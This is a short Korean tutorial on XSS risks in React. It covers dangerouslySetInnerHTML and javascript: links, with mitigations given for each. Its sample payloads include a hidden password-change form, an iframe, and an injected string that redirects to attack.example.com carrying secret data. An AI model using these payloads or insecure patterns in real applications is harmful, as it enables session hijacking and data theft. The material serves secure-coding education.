React에서 발생할 수 있는 XSS 취약점

JSX의 표현식 포함은 기본적으로 HTML로 해석되지 않도록 이스케이프 처리됩니다. 하지만 위험성이 제로인 것은 아닙니다.

React의 표준 이스케이프



App.jsx
const App = () => {
  const userInputText1 = `<script>alert("XSS!")</script>`;
  const userInputText2 = `<div>DIV!</div>`;

  return (
    <div>
      {userInputText1}
      {userInputText2}
    </div>
  );
}

결과



올바르게 이스케이프 처리됨



XSS 발생 패턴



1. dangerouslySetInnerHTML 사용



React 공식 이스케이프를 비활성화하는 옵션입니다. 기본적으로 사용하지 않지만, 아무래도 HTML로 인식시키고 싶은 경우 등에 이용한다고 합니다.

App.jsx
const App = () => {
  const userInputText1 = `<script>alert("XSS!")</script>`;
  const userInputText2 = `<div>DIV!</div>`;
  const userInputText3 = '
    <form action="http://api.example.com/change_password" method="POST">
      <input type="hidden" name="password" value="hack" />
      <input type="submit" value="これ見て!" />
    </form>
  ';
  const userInputText4 = `<iframe src="https://qiita.com"></iframe>`;

  return (
    <div>
      <div dangerouslySetInnerHTML={{ __html: userInputText1 }} />
      <div dangerouslySetInnerHTML={{ __html: userInputText2 }} />
      <div dangerouslySetInnerHTML={{ __html: userInputText3 }} />
      <div dangerouslySetInnerHTML={{ __html: userInputText4 }} />
    </div>
  );
};

결과



태그가 적용됨



첫째, 스크립트 태그는 무시됩니다. 이것은 ES 사양으로 innerHTML 에서의 script가 동작하지 않는 것만으로, 다른 모든 요소는 해석됩니다.

물론, iframe 이나 form 는 정상적으로 표시되어 버립니다. 이 시점에서 XSRF 대책이 불충분하면 심각한 보안 사고로 이어질 수 있습니다.

대책



사용하지 않는다. 아무래도 이용하고 싶은 경우는, 철저하게 이스케이프를 실시한다.

2. javascript 체계의 악용


href 속성은, 선두가 javascript: 로 시작되는 경우는 그 이후의 캐릭터 라인을 javascript로서 실행합니다. 물론 window.location 객체에 대한 조작도 마찬가지입니다.

App.jsx
const App = () => {
  const userInputText1 = `javascript: alert('Warning!')`;

  // locationオブジェクトへの操作も同様
  // window.location.href = userInputText1;

  return (
    <div>
      <a href={`${userInputText1}/edit`}>link</a>
    </div>
  );
};

결과



javascript가 실행 중입니다.



대책



처음부터 사용자가 결정할 문자열을 삽입하지 않습니다. 원래 선두에 /를 붙인다.
<a href={`/${userInputText1}/edit`}>link</a>
기본은 서버가 생성하는 고유의 ID나 랜덤 캐릭터 라인을 식별자로서 취급하도록(듯이) 설계하면 안전한 생각이 듭니다. (예 : 사용자 이름에 / 등의 기호가 혼잡해 버려도 의도하지 않은 전환 대상으로 다시 쓸 수 있습니다)

href의 최악의 사용법



극단적이지만 이런 일을 한 날에는 React 엔지니어 실격입니다 .... 보통 onClick 를 사용합시다.

jsx
const App = () => {
  // 悪意のある値
  const userInput = "');location.href = 'http://attack.example.com?data=secret_data';//";

  const hrefAction = `
    alert('${userInput}');
  `;

  return (
    <div>
      <a href={`javascript:${hrefAction}`}>link</a>
    </div>
  );
};

끝에



지적 등 있으면, 코멘트 잘 부탁드립니다.

좋은 웹페이지 즐겨찾기